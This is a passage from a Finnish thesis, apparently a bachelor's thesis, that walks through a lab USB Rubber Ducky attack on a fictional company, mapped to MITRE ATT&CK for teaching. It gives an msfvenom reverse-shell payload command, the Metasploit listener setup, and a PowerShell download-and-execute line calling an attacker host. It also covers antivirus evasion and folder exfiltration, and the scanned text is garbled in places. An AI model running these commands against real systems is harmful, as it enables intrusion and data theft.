Centrol Panel H . .. .
ot FenelHeme View basic information about your computer

& Device Manager Windows edition

& Remote settings Windows Server 2016 Standard

& Advanced system settings Evaluation == Windows Server 2016
© 2016 Micrasoft Corporation. All
": F‘Rﬂg}ﬂgg MT Deskto rights reserved.

System
Processor: Intel(R) Core(TM) i7-7700K CPU @ 4.20GHz 4.20 GHz
Installed memory (RAM): 2,00 GB
System type: 84-bit Operating System, x64-based processor
Pen and Touch: No Pen or Touch Input is available for this Display
Computer name, domain, and workgroup settings
Computer name: Devio-server ®)Change set
Full computer name: Devio-server.Devio.com
Computer description:

Domain: Devio.com

Windows activation

Kuvio 9. Windows Server 2016

Palvelimen Active Directory (AD) on yksi ominaisuuksista, joka on hakemistopalvelu
ja kayttajatietokanta yrityksen IT-infrastruktuurissa. Se varastoi tietoa verkossa ole-
vista objekteista ja tarjoaa kayttdjille ja jarjestelmanvalvojille dataa. Esimerkiksi tieto
voi olla kayttdjia, tietokoneita ja muita verkonresursseja esimerkiksi tulostimet. AD
toimii domain controllerina eli nimensa mukaan ohjaa/hallitsee ymparistoa, kuten
esimerkiksi kasittelee yrityksen kayttajaprofiileja ja sallii ndiden kirjautumiset tyoko-

neille. (Stegner 2019.)
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Windows Serveriin voidaan asentaa muita ominaisuuksia kuten: DHCP, joka vastaa
IP-osoitteiden jakamisesta ymparistdssa. Tiedostopalvelimen, johon yrityksessa kayt-
tajat voivat keskittda dataa ja palvelussa voidaan maarittaa tietyn datan kaytto tie-
tyille kayttajille. Tulostamispalvelun, joka auttaa tyokoneita I6ytamaan automaatti-

sesti tulostimet it-infrastruktuurissa. (Stegner 2019.)

CentOS7

Opinnaytetyohon on valittu CentOS7 palvelin hyokkaajan verkkoon ja kuvitteelliseen
internettiin toimimaan yleisenad DNS palvelimena. CentOS7 on Linux tietokone, joka
pohjautuu Red Hat yhtion Red Hat Enterprise Linux (RHEL) GNU/Linux tuotteeseen.
CentOS7 on yhteison yllapitama jarjestelma ja se on ilmainen jakelupaketti. Kuvio 10
on yleisndkyma hyokkaajan palvelimesta, jossa ei ole graafista kayttoliittymaa, vaan

pelkdstdaan komentokehote. (About CentOS n.d.)

B Cent0S7 - Hyskkaajs [Running] - Oracle VM VirtualBox - O x

File Machine View Input Devices Help

btest.php jeejee payload.c Project?.exe ProjectS.exe puttyX.exe reverse.exe Testi
ok.exe phpinfo.php Projectd.exe putty.exe qf .exe Setup.exe Testi.cmd
[root@hackermen htmll#t ip a
¢ lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc nogqueue state UNKNOWN group default glen 1888
link-loophback BB:80:00:80:08:80 brd 06 :80:096:60:00:80
inet 127.8.8.1-8 scope host lo
valid_lft forever preferred_lft forever
inetb ::1-128 scope host
valid_1ft forever preferred_Ift forever
¢ enpBs8: <BROADCAST,MULTICAST,UP,LOMER_UP> mtu 1588 gdisc pfifo_fast state UP group default glen

linksether BB:88:27:88:ad:18 brd ff:ff:ff:ff :ff:ff
inet 172.16.8.188-24 brd 17Z.16.8.255 =cope global wopref ixroute enpBs8
valid_lft forever preferred_lft forewver
inett feB@::aBB:Z7ff :feB8:ad18-64 scope link
valid_1ft forever preferred_lft forever
[rootBhackermen htmll# _

Kuvio 10. Hyokkaajan palvelin

Kali Linux
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Toteutusymparistoon on valittu Kali Linux tietokone, jota kdytetaan hyokkayksen val-
misteluissa ja hyokkayksen aikana. Kali Linux on Debian pohjainen Linux tietokone,
joka on avointa ldahdekoodia eli se on vapaasti ja ilmaiseksi ladattavissa. Se sisaltaa
satoja eri tyokaluja, joilla voidaan tehda penetraatiotestausta, rikostutkintaa ja tieto-
turvatutkimusta. Metasploit Framework on yksi tyokalu Kali Linuxissa, jota kdytetdan
my06s opinnadytetyon toteutus osuudessa. Kuvio 11 on Kali Linux tietokone asennet-

tuna. (What is Kali Linux? n.d.)

i Kali-Linux-Hydkkdd)d [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

’Q )= [Kali Linux, an Offensive .. E] kali@kali: ~

@ File Actions Edit View Help

Web Brow: =3 ip a
1 <LOOPBACK,UP, LOWER
link/loopbac D
inet /8 ope host lo
valid_1ft for r preferred_1ft forever
/128 scope hos
d e f r preferred_1ft forever

File System

valid_1ft forever preferred_1ft for
inet6 /64 scope 1
valid_1ft forever preferred 1ft forever

5 1

Kuvio 11. Kali Linux

Virtuaalireititin VyOS

Opinndytetyossa VyOS reitittimet eristavat kaikkien verkot toisistaan omiksi verkoiksi
ja reitittavat yhteydet kaikkien verkkojen kesken. VyOS on Linux-pohjainen kayttojar-
jestelma, joka mahdollistaa ohjelmistopohjaista verkkoreititysta, palomuurausta ja
VPN —toiminnallisuutta. Se tarjoaa ilmaisen reititysalustan, joka on kilpailukykyinen
kaupallisten ratkaisujen kanssa. Kuvio 12 on yleisndkyma reitittimen komentokehot-

teesta (VyOS Documen-tation Release 1.2.0-beta 2019.).
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[ VyOS - Hyskksjas [Running] - Oracle VM VirtualBax — O x

File Machine View Input Devices Help

Mk, u - Up, D - Down, & - Admin Do

Kuvio 12. Vyos reititin

3.3.2 Devio

Hyokkaaja tekee USB mediatallennus hyokkdyksen kuvitteelliseen ohjelmointiyrityk-
seen nimelta Devio. Devio tekee asiakkailleen ohjelmistopalveluita esimerkiksi robo-
tiilkkaa ja muita automaatio-ohjelmistoja. Hyokkadjan motiivina voi olla rahallinen
hyoty myymalla kaapattuja tietoja eteenpain tai kiristamalla firmaa. Tavoitteena voi
olla vakuutusyhtién manipulointi/hairintd omien tai toisen tahdon hyétyjen mukai-
sesti. Esimerkiksi jarjestelmien tuhoaminen, hidastaminen tai vaikuttamaan liiketoi-

mintaan negatiivisesti hyokkayksen onnistuttua.
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4 Hyokkayksen toteutus

Tassa luvussa toteutetaan hyokkays kaytannodssa ja hyokkaysta tarkastellaan Mitren
ATT&CK mallista, ettd mitka vaiheet toteutuvat tai jadvat toteutumatta. Tyota tarkas-
tellaan myo6s opetustarkoituksen kannalta. Kappale sisaltaa hyokkayksen valmistelut,
itse toteutuksen ja jalkitarkastelun, miten hydkkdys onnistui. Tavoitteena on saada
hyokkays onnistumaan uhrin tietokoneeseen, ja hydkkayksen vaiheet ovat nahtavissa
ja ymmarrettavissa katsojalle. Lopuksi pohditaan, etta paastiinkd paatavoitteisiin, ja
miten hyokkays onnistuisi oikeassa eldamassa ja mita hyokkaaja tekisi toisin. Hyokkays

tapahtuu kdytdannossa alla olevan kaavion mukaisesti (ks. Kuvio 13)

USB rubber ducky:
Lasti generoidaan Kali Tehdéan ducky skripti |
Linuxilla ja tallennetaan joka aukaisee STARTTI
hyékkaajan pavelimelle Powershellin ja lataa
lastin.
y
Rubber ducky liitetaén:
Kohdekone aukaisee
powershellin ja lataa
lastin ja ajaa taman
valittdomasti
A 4
Yhteys on auki Kali Linux: Metasploit, > Kali Izi\r;gg;ga;taan
hyokkagjalle Reverse Shell )
kohdekoneelta

Y

Tarkistetaan
onnistuiko

Yritetdan peittda
jolla logit haviavat

Y

Kuvio 13. Hyokkayksen kaavio
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4.1 Valmistelut

Hyokkays aloitetaan kohteen tiedustelulla ja resurssien hankinnalla, mitka ovat
ATT&CK mallissa Reconnaissance ja Resource Development. Reconnaissance vaiheen
hyokkaaja toteuttaa siten, ettd han etsii pienia ohjelmistoyrityksia, jotka kehittavat
eri asiakkaille ohjelmistopalveluita. Tassa mielikuvituksellisessa hytkkayksessa, hyok-
kaaja valitsee Devio nimisen yrityksen ja tiedustelee sosiaalisesta mediasta tai Devion
kotisivuilta tietoa organisaatiosta, sen henkil6sta ja infrastruktuurista. Hyokkaaja va-
litsee potentiaalisen tyontekijan, joka voisi lahtead hyokkaykseen mukaan manipuloi-
malla henkil6a ja esimerkiksi kertomalla hanelle, ettd hyokkayksen avulla he voisivat
rikastua ja eivatka jaisi kiinni. Devion tydntekija kertoo hyokkaajalle tietoa yrityksen
jarjestelmista, joihin kuuluu muun muassa Windows 10 kayttojarjestelmat ja perus

Windows AD-palvelut.

Reconnaissance vaiheen jalkeen voidaan hypata Resource Development vaiheeseen,
jossa hyokkaaja hankkii tarvittavat resurssit hyokkaysta varten. Hyokkaaja hankkii
kaupallisen USB Rubber Ducky muistitikun ja ostaa itselleen virtuaalipalvelimen, jolla
on oma domain nimi. Rubber Ducky muistitikku valmistellaan kirjoittamalla ducky
skripti. Skripti kirjoitetaan tekstitiedostoon, joka muutetaan enkooderilla inject.bin
tiedostoksi. Liitteista 16ytyy skripti, jonka mukaan Rubber Ducky toimii (ks. Liite 1).
Kun skripti on koodattu inject.bin tiedostoksi se siirretadan muistikorttiin ja asetetaan
Rubber Ducky muistitikkuun. Skriptin tarkoitus lyhykadisyydessdaan on ladata lasti
(engl. payload) ja ajaa se latauksen jalkeen. Lasti haetaan hyokkadjan palvelimelta
kohdekoneelle hydédyntaen Windowsin Powershellid. Lastin tarkoitus on avata yhteys

hyokkaajalle ja saamaan jalansija uhrin tietokoneelle lastin ajon jalkeen.

Lastin teko tehddan Kali Linux virtuaalikoneella ja siita [6ytyvalla Msfvenom tydka-
lulla, joka on osa Metasploit Framework ohjelmaa. Msfvenomilla generoidaan ja koo-
dataan lasti komennolla: msfvenom -p windows/meterpreter/reverse_tcp_dns

LHOST 172.16.0.10 LPORT=4444 -e x86/shikata_ga_nai -i 8 -f ¢ > lasti.c. Win-
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dows/meterpreter/reverse_tcp_dns tarkoittaa, ettd luodaan Meterpreter lasti Win-
dows kayttojarjestelmaa varten ja lastin lilkkenndintina toimii kaanteinen tcp ja dns
yvhteys. Meterpreter on hyokkays tarkoitukseen kaytettava lasti Metasploit ohjel-
massa. Se mahdollistaa hydkkaajalle interaktiivisen komentorivin, jolla se voi suorit-
taa komentoja uhrin tietokoneessa, kun lasti on ajettu tietokoneessa. LHOST
172.16.0.10 tarkoittaa, etta lasti on yhteydessa Kali Linux koneeseen, jonka IP-osoite
on 172.16.0.10. Taman jalkeen tuleva komento LPORT=4444 tarkoittaa, ettd kayte-
taan porttia 4444 lastissa ja kuuntelukanavan/ohjelman portti on 4444. Seuraavaksi
madritetdan enkooderi koodaamaan lasti x86/shikata_ga_nai, jolla pyritaan teke-
maan siitd mahdollisimman huomaamaton virustorjuntaohjelmilta. Loppu osa -i 8 -f c
> lasti.c tarkoittaa, ettd iterointien maara on 8 eli lastia ajetaan tyomuistissa 8 kier-

rosta. Lopuksi tallennetaan lasti nimella lasti.c shell koodi muotoon.

kali@kali: ~

File Actions Edit View Help

hikata_ga_nai -i 8 -f ¢ > lasti.c

Kuvio 14. Lastin luominen

Kun lasti on generoitu Msfvenomilla, siirrytdaan Microsoft Visual Studioon, jolla luo-
daan Shell koodista ajettava .exe tiedosto. Tiedostosta lasti.c kopioidaan sen sisalto

Visual Studioon (ks. Kuvio 15).



Terminal

Help

X96\X
lasti.c" 46L, 245

Kuvio 15. Lasti.c

Visual Studio on ohjelmointia varten kehitetty ohjelma ja alla olevassa Kuvio 16 on
valittu tyhja C++ kielelld toimiva alusta, johon aikaisemmin generoidun lastin sisalto

viedaan.



b Fie Edit View Project Buid est  Analy Exten: w  Help Q Project4

B Release s Debugger ~

Source.cpp £ X
8 ~ @ main(int argc, char ** a

tualAlloc (NULL

Kuvio 16. Visual Studio lastin muunnos

Seuraavaksi shell koodista tehdaan .exe tiedosto Visual Studiossa ja siirretaan hyok-

kaajan palvelimelle. Lasti on nyt nimeltdan Project4.exe (ks. Kuvio 17).
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B E R - Release

Tiedosto  Aloitus
s o aa - Uusi kohde ~ b a litse kaikki
o+ ?% | LE% (=1 b '
i K - il Helpotettu kaytt - A valinnat
Kiinnita  Kopioi  Liita ) Poista  Nimed Uusi Ominaisuudet ) )
pikakayttdon CLEL n *  uudelleen | kansio ] d anteinen valinta

Jarjestad Avaa Valitse

Tami tietokone > UUI(Dx) » Projekti » Projectd > Release

Mimi

=
| ]
[ ]
&

= UUI (D)

Kuvio 17. Project4.exe

4.2 Hyodkkays

Nyt kun kaikki valmistelut hydkkaysta varten on tehty eli lastin ja ducky skriptin
luonti, voidaan siirtya toteuttamaan hyokkaysta. Seuraavana vaiheena koko hyok-
kayksessa on Initial Access eli alustava paasy, jossa USB Rubber Ducky muistitikku lii-
tetdan tietokoneeseen. Rubber Ducky muistitikun avulla pyritdan saamaan jalansija
kohteen tietokoneeseen, jonka Devion tyontekija asettaa esimerkiksi projektipaalli-
kon tietokoneelle. Ennen kuin muistitikku liitetdan uhrin tietokoneeseen, hyokkaaja
on valmiina Kali Linux tietokoneella ja avaa Metasploit ohjelman komennolla

"msfconsole” (ks. Kuvio 18).



:~$ msfconsole

command

Kuvio 18. Msfconsole

Hyokkaaja aloittaa Metasploitilla kuuntelemaan lastin yhteydenottoa takaisin hyok-
kaajalle. Ensimmaisena aukaistaan moduuli exploit/multi/handler, joka kuuntelee
verkon ulkopuolelta haavoittuvuuksia. Set PAYLOAD windows/meterpreter/re-
verse_tcp_dns tarkoittaa, ettd kuunnellaan kyseista lastia, joka tehtiin valmisteluissa.
Set LHOST asettaa hyokkaajan isdantalaitteen eli tietokoneen IP-osoitteen
(172.16.0.10) ja set LPORT, ettd kaytetaan/kuunnellaan maaritettya porttia (4444).
Viimeiseksi, kun on maaritelty tarvittavat asetukset lastin kuuntelua varten, aloite-

taan kuuntelemaan lastin yhteydenottoa komennolla exploit (ks. Kuvio 19).

> use exploit/multi/handler
Using configured pay : _
i [ t PAYLOAD windc eterpreter verse_tcp_dns
rerse_tcp_dns
t LHOST 172.16.0.10

> set LPORT 4444

)} » exploit

Started reverse TCP handler onm 172.16.0.10

Kuvio 19. Kuuntelun aloittaminen
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Kun lastin kuuntelu on aloitettu, voidaan siirtya seuraavaan vaiheeseen, jossa Rubber
Ducky muistitikku liitetadan uhrin tietokoneeseen. Tasta alkaa vaihe Initial Access eli
alustava paasy jarjestelmaan ja samalla Execution eli suoritus. Executionin osuus on
Powershellin hyodyntaminen tietokoneessa. Kun Rubber Ducky muistitikku liitetdan
tietokoneeseen, se aloittaa ndppailyn painamalla ensimmaiseksi Win + R ndppainta,
joka aukaisee Suorita ikkunan. Taman jalkeen se kirjoittaa kenttadan “powershell” ja

painaa lopuksi Enter (ks. Kuvio 20).

& Run

Q Type the name of a program, folder, decurment, or Internet
resource, and Windows will open it for you.

Open: | powersh eI||

Kuvio 20. Powershellin aukaisu

Windowsin Powershell aukeaa ja seuraavaksi muistitikku nappailee ikkunaan skriptin:
Sdown = New-Object System.Net.WebClient; Surl = 'http://ns1.hackermen.local/Pro-

ject4.exe'; Sfile = 'Project4.exe'; Sdown.DownloadFile(Surl,Sfile); Sexec = New-Object
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-com shell.application; Sexec.shellexecute(Sfile); (ks. Kuvio 21). Skripti hakee verkko-
osoitteesta nsl.hackermen.local/Project4.exe lastin ladattavaksi ja ajaa tiedoston

Projectd.exe valittomasti.

ﬂﬁ Devio - Workstation [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

EN Windows PowerShell

Windows Powershell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform Powershell https://aka.ms/pscore6

PS C:\Users\tero> New-Object System.Net.webClient;

2 .DownloadFile( )k New-Object shell.application; .she?]execute(,

Kuvio 21. Powershell skripti

Hetken ajan kuluttua uhrin tietokone on ladannut hyokkaajan palvelimelta Pro-
jectd.exe tiedoston ja ajanut tdman (ks. Kuvio 22). Hyokkaajalla pitaisi olla nyt yhteys

ja jalansija tietokoneeseen.

[ Devio - Workstation [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

D]
IR # ' Ci\Usersitero\Projectd.exe - O %

Kuvio 22. Lastin ajo kohdekoneella
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Hyokkaajan tietokoneelle on auennut yhteys uhrin tietokoneelle ja tasta voidaan kat-
soa Command and Control vaiheen alkaneen. Sy6étetaan komentolinjalle ps, jolla kat-

sotaan, mitd prosesseja uhrin tietokoneella pyori. (ks. Kuvio 23)

msf5 exploit(

TCP hand
(176195 by
444 — 10.10.10.10:49676) at 0-11-11 @4:47:16 -0500

PID PPID

rtMenuExperienceHost.exe

dwm.exe
Wind ter| sableShell. riences.TextInput.InputApp

Kuvio 23. Yhteys auki

Jotta jalansija pysyisi tietokoneessa, migroidaan prosessi explorer.exeen, silla uhrin
tietokoneen virustorjunta ohjelma voi havaita lastin olevan virus. Migrointi onnistuu
syottamalla migrate ja explorer.exen PID tunnuksen (ks. Kuvio 24). Tdssa toteutuk-
sessa Windows Defender huomaa melko nopeasti lastin olevan haittaohjelma, joten
lasti pitdad nopeasti migroida Windowsin omaan prosessiin, joka pyorii tietokoneen
tydmuistissa. Migroinnin jalkeen jalansija pysyy uhrin tietokoneessa huomaamatta
pidemmin. Kyseinen vaihe ATT&CK mallista katsottuna olisi Defense Evasion, jossa
siis pyritaan toimimaan huomaamattomasti jarjestelmassa ja vaistamaan tietoturva-

ohjelmistoja.



Kuvio 24. Migrointi explorer.exeen

Vakaamman jalansijan saadessa voidaan tarkastella, mita uhrin tietokoneelta 16ytyy
esimerkiksi ottamalla kuvankaappaus tyopoydasta. Kuvankaappaus onnistuu helposti
kirjoittamalla ”screenshot” Metasploit ohjelmassa. Kuvankaappauksesta huomataan,

ettd tyopoydalta loytyy kansio Projektit (ks. Kuvio 25).

ViXiamH jpeg (JPEG Image, 1920 x S75 pixels) - Scaled (66%) - Mozilla Firefox
Kali Linux Sec. X Xia eg(JPEGImage X +
c @ @ files///home/kalifVJXiamHf.jpeg

Kali Linux Kali Training Kali Too Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFU

Kuvio 25. Kuvan kaappaus

Siirrytaan uhrin tietokoneessa tyopoydalle ja katsotaan viela, mita sielta 16ytyy ko-

mennolla ”Is”, jolla saadaan listaus tyopoydan tiedostoista ja kansiosta. Tama vaihe



49
ATT&CK mallista katsottuna olisi Collection, jossa kerdtaan tiettya dataa tavoitteiden
saavuttamiseksi. Tasta siirrytaan Exfiltration vaiheeseen eli ladataan kansio ”Projek-

tit” hyokkaajan tietokoneelle. (ks. Kuvio 26)

Name

downl
downl
downl

Kuvio 26. Tiedostojen kaappaus

Katsotaan viela sisalté kaapatuista tiedostoista hyokkaajan koneella ja todennetaan

latauksen onnistuneeksi (ks. Kuvio 27).

DEVICES

mp  projektil.txt
’ [home/kali/Projektit/projektil.txt - Mousepad

File Edit Search View Document Help
tietoatietoatietoa

Kuvio 27. Kaappauksen todennus
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4.3 Hyokkayksen jalkitarkastelu

Toteutuksen jalkeen tarkistellaan hyokkaysta Mitren ATT&CK mallin nakékulmasta,
mitka vaiheet eivat toteutuneet tai jaivat vahaiseksi. Pohditaan, miten hyokkaysta
voisi soveltaa sellaisenaan oikeassa elamassa ja kdydaan lapi tyon lopputulosta toi-

meksiannon nakokulmasta.

4.3.1 ATT&CK malli

Toteutuksesta jai muutama vaihe tekematta Mitren ATT&CK mallista katsottuna.
Vaiheet, jotka puuttuivat tai jdivat vahaiseksi olivat: Persistence, Privilege Escalation,
Defense Evasion, Credential Access, Discovery, Lateral Movement ja Impact. Tarkas-
tellaan seuraavaksi kyseisia vaiheita ja miten nama olisi voinut mahdollisesti toteut-

taa toteutuksessa ja oikeassa elamassa.

Persistence vaiheessa hyokkaaja voisi toteuttaa taman esimerkiksi upottamalla
omalta tietokoneelta uhrin tietokoneelle ohjelman, joka kdynnistyy, kun uhrin tieto-
kone kaynnistetaan uudelleen paalle. Ohjelma sallisi paasyn edelleen uhrin tietoko-
neeseen hyokkadajan tietokoneelta, joka mahdollistaa hyokkayksen pysyvyys. Teh-
dyssa toteutuksessa hyokkadyksen pysyvyys loppuu valittdmasti, kun uhrin tietokone

sammuu.

Credential Access ja Privilege Escalation vaiheita kokeiltiin tehda Metasploitin avulla,
mutta uhrin tietokoneen Windows Defender esti yrityksen. Vaiheen olisi voinut to-
teuttaa eri lisdosilla, mitd Metasploit tarjoaa tai omalla ohjelmistolla, joka ladattaisiin
uhrin tietokoneelle. Ndiden vaiheiden puutteellisuus ei vaikuttanut toteutuksen lop-

putulokseen kdytannossa.

Discovery vaihe toteutettiin osittain, jossa saatiin tietoa paikallisesta koneesta yksin-
kertaisilla komennoilla esimerkiksi ipconfig. Komennolla saa uhrin tietokoneen IP-

osoitteen ja MAC-osoitteen. Discovery vaiheessa voisi selvittda Devion IT-
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infrastruktuurin kaapatun tietokoneen avulla. Toisaalta koko toteutus ymparistossa
Devion ymparisto oli pieni. Hyokkaaja pystyisi tutkimaan ymparistéa esimerkiksi
skannaamalla IP-osoitealueen, johon uhrin tietokone kuuluu ja ndin saamaan tietoa

muista laitteista, jotka kuuluvat samaan verkkoon.

Lateral Movement jai toteutuksesta puuttumaan, silla kayttdjatunnuksia ei saatu.
Hyokkaaja toteuttaisi kyseisen vaiheen, kun tdama on saanut valtuutetut kayttajatun-
nukset. Taman jalkeen se pystyisi etenemaan Devion jarjestelmissa. Esimerkiksi otta-
malla jarjestelmavalvojan tunnuksilla etayhteyden kaapatussa ja hallinnassa olevassa
tietokoneessa yrityksen Windows palvelimeen. Impact vaihetta ei toteutuksessa to-
teutettu, mutta oikeassa tilanteessa tama toteutuisi vasta myohemmin ja riippuen
siitd, miten tilanne muuttuu. Esimerkiksi, jos hyokkaaja olisi jadmassa kiinni tai Devio

ei suostuisi maksamaan lunnaita, niin tama voisi tuhota Devion jarjestelmia.

Defense Evasion vaiheessa migroitiin lasti toimimaan explorer.exe ohjelmassa, mutta
toteutuksessa ei jatkettu sita pidemmalle. Hyokkaaja olisi voinut esimerkiksi poistaa
tai sammuttaa jarjestelman tietoturvaohjelmistot tietokoneesta. Toisaalta tammois-
ten ohjelmistojen poistaminen/sammuttaminen varoittaa valvontajarjestelmia, jos
yritykseltd l0ytyy niitd. Command and Control vaihe yritettiin aluksi toteuttaa DNS
tunneloinnilla, jossa data pakataan DNS paketeiksi ja lahetaan DNS kyselyilla takaisin
hyokkadjan DNS palvelimelle. DNS on lyhenne Domain Name System, joka tarkoittaa
nimipalvelujarjestelmaa. Se toimii internetissa ikaan kuin puhelinluettelona eli se an-
taa loppukayttdjalle IP-osoitteen verkkosivustoa vastaan ja toisten pain. DNS tun-
nelointi tekniikalla dataliikenteesta pyritaan tekemaan ikaan kuin tavallista liiken-
nettd, jolloin yrityksen tietoturvaohjelmat ja mahdollisesti ulkoiset valvontapalvelut
eivat huomaa poikkeavaa dataliikenteessa. Toteutuksessa ei onnistuttu toteutta-
maan nain, vaan kaytettiin kddnteista TCP/IP liikenndintia, jossa hyokkaajan tieto-
kone ja uhrin tietokone muodostavat IP-osoitteillaan toisilleen tunnelin kommuni-

kointia varten.
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4.3.2 Soveltaminen oikeassa elamassa

Jos kyseisesta toteutusta yritettaisiin toteuttaa sellaisenaan oikeassa elamassa, se ei
todennakdisesti onnistuisi yrityksissa, joissa on tietoturvapalveluita ja hyvat tietotur-
vakaytanteet. Yksi padongelmista olisi toteutuksessa generoitu lasti, joka on estetta-
vissa paremmilla antivirusohjelmilla, palomuureilla ja yleisilla tietoturvakaytanteilla.
Tietoturvakaytanteita voisi olla esimerkiksi, etta kayttaja lukitsee aina tietokoneensa,
kun ei ole sen aarella, jolloin USB Rubber Ducky ei toimi. Tama ei tietenkaan aina
valttamatta onnistuisi inhimillisista syista. Toisena kdytanteena yrityksessa on saan-
not, mita laitteita saa liittaa tietokoneeseen ja mitka USB laitteet tietokoneet hyvak-
syvat. USB Rubber Ducky on kaupallinen tuote, joten eri tietoturvayritykset varmasti
tiedostavat laitteen ja voisivat estda kyseisen laitteen heidan asiakkaiden IT-
infrastruktuurissa siten, etta yrityksen tietokoneet hyvaksyvat vain tietyt USB laitteet.
Datan liikenndinti voisi toteuttaa paremmin, esimerkiksi DNS tunneloinnilla, jolloin
lilkenne nayttaa luotettavalle ja ulkoinen valvonta ei valttamatta heti ehdi reagoi-

maan tahan.

Nykyaikaisessa organisaatioymparistossa on vaikea toteuttaa kyberhyokkayksia,
joissa on tietoturva-asiat hoidettu hyvin kuntoon ja uusimmat jarjestelmat. Teknolo-
gian kehityksen myo6ta ja kyberuhkien/hyokkaysten kasvaessa tietoturvapalveluiden
kysynta on kasvanut. Palveluita ovat esimerkiksi erilliset antivirusohjelmat, palomuu-
rit ja yrityksen IT-infrastruktuurien valvonta ulkoisen tietoturvayrityksen puolesta kel-

lon ympari.

Toteutus sellaisenaan voisi onnistua pienemmissa yrityksissa, joissa IT-infrastruktuuri
ei poikkea juurikaan tavallisen kuluttajan IT ymparistosta. Monilla pienemmilla yrityk-
silla ei valttamatta ole ymmarrysta IT-asioista ja USB laitteiden vaarallisuudesta.
Hyokkays vaatisi onnistuakseen tarkkaa koordinointia fyysisen manipuloinnin osuu-
dessa, jossa pitda saada USB Rubber Ducky kiinnitettya uhrin tietokoneeseen. Hyok-
kaajia olisi hyva olla kaksi, joista toinen on paikan paalla liittdmassa muistitikun tieto-
koneeseen ja toinen on valmiina omalla tietokoneella ottamaan haltuun uhrin tieto-

koneen muualla. Tarkka tiedustelu on avaintekija hyokkayksen onnistumisen kan-
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nalta esimerkiksi mita kdyttojarjestelmaa uhrin tietokone kayttda ja millaista nap-
padimistod. Kohteen tiedustelu on kaikissa eri hyokkayksissa aina tarkeaa, silla tiedus-
telun tuloksilla pystytdan suunnittelemaan tarkasti hyokkays, ja mita se vaatii onnis-

tuakseen.

Toteutuksessa lasti saatiin ajettua lapi ja haltuun otettua uhrin tietokone, mutta Win-
dows Defender onnistui huomaamaan sen hetken ajan kuluttua. Toteutuksen kan-
nalta, lastin kiinni jaaminen Windows Defenderiin oli hyva asia. Se havainnollistaa
yleisodlle, etta hyokkays on tehty ja jotain vahinkoa on saatu aikaiseksi uhrille. Toteu-
tusta on tarkoitus kdyttaa opetustarkoituksessa ja siksi on oleellista, ettd yleisé huo-
maa lastin latautuneen ja Windows Defenderin varoituksen lastista. Oikeassa ela-
massa hyokkaadja tietenkin pyrkii siihen, ettda hydkkays pysyisi mahdollisimman huo-
maamattomana alusta loppuun. Yleensa hyokkaykset paljastuvat lopulta jossain vai-

heessa, mutta itse hyokkaajaa ei valttamatta aina saada kiinni.

4.3.3 Lopputulos

Toteutus itsessaan onnistui loistavasti ja riittavalla tasolla, kun tarkastellaan opetus-
tarkoituksen kannalta. Toimeksiantajan toive ja toimeksianto oli, etta tyota voidaan
kayttaa opetustarkoituksessa ja ulkopuolinen henkild pystyy demonstroimaan toteu-
tuksen helposti ohjeilla, jotka I0ytyvat opinnaytetyon liitteista. Vaikka Mitren
ATT&CK mallin vaiheita jai osa puuttumaan, ei ne olleet tarpeellisia/valttamattomia
toimeksiannon mukaan. Toteutus demonstroitiin kdaytanndssa toimeksiantajille
20.11.2020 ja he olivat tyytyvaisid tyohon ja sen lopputulokseen. Tyossa lisdarvoa to-
teutukselle antoi erityisesti se, ettd toteutusymparisto vastasi lahes realistista ympa-
ristdd. Uhrin tietokoneessa oli Windows Defender paalla ja tietokoneelle oli tavalli-
nen kayttaja kirjautuneena. Toteutuksen olisi voinut periaatteessa tehda vain kah-
della virtuaalikoneella, jotka olisivat olleet samassa verkossa, mutta tama ei valtta-
matta antaisi yleisolle tarpeeksi laajaa kuvaa hyokkayksen kulusta. Toteutukselle

kdyttoohjeet demonstrointiin l0ytyvat liitteista (ks. Liite 2).
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4.4 Jatkokehitys tyolle

Jatkotutkimus opinnaytetydlle voisi olla esimerkiksi kehittamalla/korvaamalla tydssa
kaytettya USB mediatallennuslaitteen. Kaytossa olisi USB Rubber Ducky muokattuna
tai jokin toinen laite esimerkiksi oma kehittama. Toinen aihe voisi olla kokeilemalla
hyokkaysta uhrin ymparistdssa, joka on kovennettu tietoturvalla. Tietoturvapalve-
luita voisi olla muun muassa palomuurit, antivirusohjelmat, ulkoinen IT-

infrastruktuurin valvonta ja yrityksen yleiset tietoturvakaytanteet laadittuna.

USB Rubber Duckyssa hyvada on se, etta sita ei antivirus ohjelmat tunnista oletuksena
sen olevan haitallinen, silla se nayttaytyy tietokoneelle ndppadimistona. Se toimii |a-
hes jokaisessa kayttojarjestelmassa ja AutoRun ominaisuutta ei tarvita, jotta USB
laite toimii. Rubber Ducky muistitikun skriptaus on helppoa ja laite on helposti muo-
kattavasti eri laiteohjelmistoilla, jotka ovat yhteison luomia. Huonoja puolia USB Rub-
ber Duckyssa hyokkayksen kannalta ovat se, etta laite ei toimi tietokoneessa, joka on
lukittuna. Uhrin taytyy olla kirjautuneena tietokoneella ja mielelldaan myos poissa tie-
tokoneen aarelta hydkkayksen aikana. Kun USB Rubber Ducky kiinnitetdan tietoko-
neeseen, loppukayttdja nakee tietokoneen naytolta, etta jotain epatavallista tapah-
tuu esimerkiksi, Suorita ikkuna avautuu, jonka jalkeen Windows Powershell aukeaa ja
tekstia ilmestyy ikkunaan. Skriptista voidaan tehda sellainen, etta se pyrkii piilotta-
maan toiminnot heti, kunnes ne on suoritettu. Tastad huolimatta, jos uhri on tarpeeksi
hereilld alussa, se voi ehtia irrottamaan muistitikun koneesta, jolloin hydkkays epa-

onnistuu.

USB mediatallennuslaitteen voisi kehittaa siten, ettd hyokkayksessa uhri itse joutuisi
kiinnittaisi laitteen tietokoneeseen, jolloin hyokkayksen aloittaminen helpottuisi.
Laitteen toiminta ei nakyisi loppukayttajalle samoin, miten USB Rubber Ducky kayt-
taytyy liitettdessa tietokoneeseen. Joko keksittaisiin uusi USB mediatallennuslaite tai
kdytettaisiin Rubber Duckya johon keksittdisiin oma laiteohjelmisto, joka suorittaisi
toiminnot taysin nakymattomasti loppukayttajalta. Tarkeaa olisi, ettd USB laite toimii
kaikissa kayttojarjestelmissa erityisesti Windows 10 ja ei vaadi esimerkiksi AutoRun

ominaisuutta tai vastaavaa tietokoneelta.
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Toinen jatkokehitys opinndytetyolle olisi tarkastella USB mediatallennushydkkaysta
